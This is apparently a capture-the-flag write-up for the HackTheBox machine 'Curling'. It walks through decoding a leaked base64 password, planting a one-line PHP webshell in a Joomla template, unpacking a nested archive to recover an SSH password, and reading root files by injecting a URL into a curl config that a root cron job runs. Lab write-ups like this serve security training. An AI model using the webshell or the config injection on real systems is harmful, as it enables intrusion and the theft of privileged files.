// HackTheBox
Curling
secret.txt-leaked Joomla creds → template-edit RCE → curl -K config injection via a root cron job
Recon
Two ports, and only one of them is a real attack surface:
| Port | Service |
|---|---|
| 22 | SSH |
| 80 | Apache + Joomla |
SSH gives nothing without a credential, so the Joomla site on port 80 is the whole box. Joomla is a PHP CMS whose administrator panel can edit template source directly — so if we can log in as an admin, that panel is a straight line to code execution. The first job is therefore to find an admin password.
Foothold
1. Leaked password in secret.txt
The homepage source carries an HTML comment that a normal visitor never sees but that ships in the markup:
<!-- secret.txt -->
Requesting /secret.txt returns a single base64 string, Q3VybGluZzIwMTgh.
Base64 is trivially reversible, so decode it:
$ echo Q3VybGluZzIwMTgh | base64 -d
Curling2018!
The site bylines its articles to the author floris, giving us a username to
pair with the recovered password Curling2018!.
2. Admin login → template-edit RCE
floris:Curling2018! logs straight into the Joomla administrator panel. Joomla’s
Template Manager lets a Super User edit the PHP files of the active template from
the browser, which is the classic no-CVE Joomla-to-RCE move: write PHP into a
template file, then request that file over the web.
Edit the Protostar template’s error.php and inject a one-line command shell:
<?php system($_REQUEST['c']); ?>
The save is handled by the com_templates component’s template.save task,
which needs the jform[extension_id] and jform[filename] fields plus a valid
CSRF token alongside the edited source — Joomla silently refuses the write if any
of those are missing.
The planted file now runs whatever command is passed in the c parameter.
Requesting /templates/protostar/error.php?c=id executes id, and the code runs
as www-data, the Apache/PHP user.
3. password_backup → floris’s SSH password
In floris’s home directory sits a file called password_backup. Its contents are
a text hex dump — the printable output of xxd — rather than raw binary, so the
first move is to reverse the hex dump back into bytes with xxd -r. Running
file on the result shows it is bzip2-compressed, and each layer underneath turns
out to be another compressor: the nesting is bzip2 → gzip → bzip2 → tar. Peel
them off one at a time with the matching tool, then extract the archive:
$ xxd -r password_backup > stage1.bz2
$ bunzip2 -c stage1.bz2 > stage2.gz
$ gunzip -c stage2.gz > stage3.bz2
$ bunzip2 -c stage3.bz2 > stage4.tar
$ tar xf stage4.tar
$ cat password.txt
5d<wdCbdZu)|hChXll
5d<wdCbdZu)|hChXll is floris’s SSH password, so ssh floris@... upgrades the
www-data webshell into a proper interactive session as floris and yields
user.txt.
Privilege Escalation — curl -K config injection via root cron
Enumerating floris’s files turns up ~/admin-area/input, owned root:floris with
mode rw-rw---- — writable by floris. It is not a data file but a curl config
file (the format curl reads with its -K flag), and a root cron job runs
curl -K input -o report on a short interval, writing the result to report
(which floris can read). The default config just fetches the local web server:
url = "http://127.0.0.1"
Because curl config directives include url, and curl’s file:// scheme reads
local files, we can point that fetch anywhere on the filesystem. curl runs as root
from the cron, so it can read root-only files. Overwrite the config’s URL:
url = "file:///root/root.txt"
On the next cron tick, root’s curl reads /root/root.txt and writes it into
report, which floris can then read:
$ echo 'url = "file:///root/root.txt"' > ~/admin-area/input
$ cat ~/admin-area/report
Timing. A box anti-tamper routine resets input back to the default every
~10-15 seconds, and the curl cron fires within that same window — so write input
and read report within a few seconds of each other, before the reset clobbers
the injected URL.
The -o report output path is hardcoded in the cron command, so the primitive is
strictly read-only: we can make root read any file into report, but we cannot
redirect that output to overwrite something (e.g. an authorized_keys or a SUID
binary) for a full shell. root.txt is captured directly, and since root has no
id_rsa to steal, that read primitive is exactly enough to finish the box.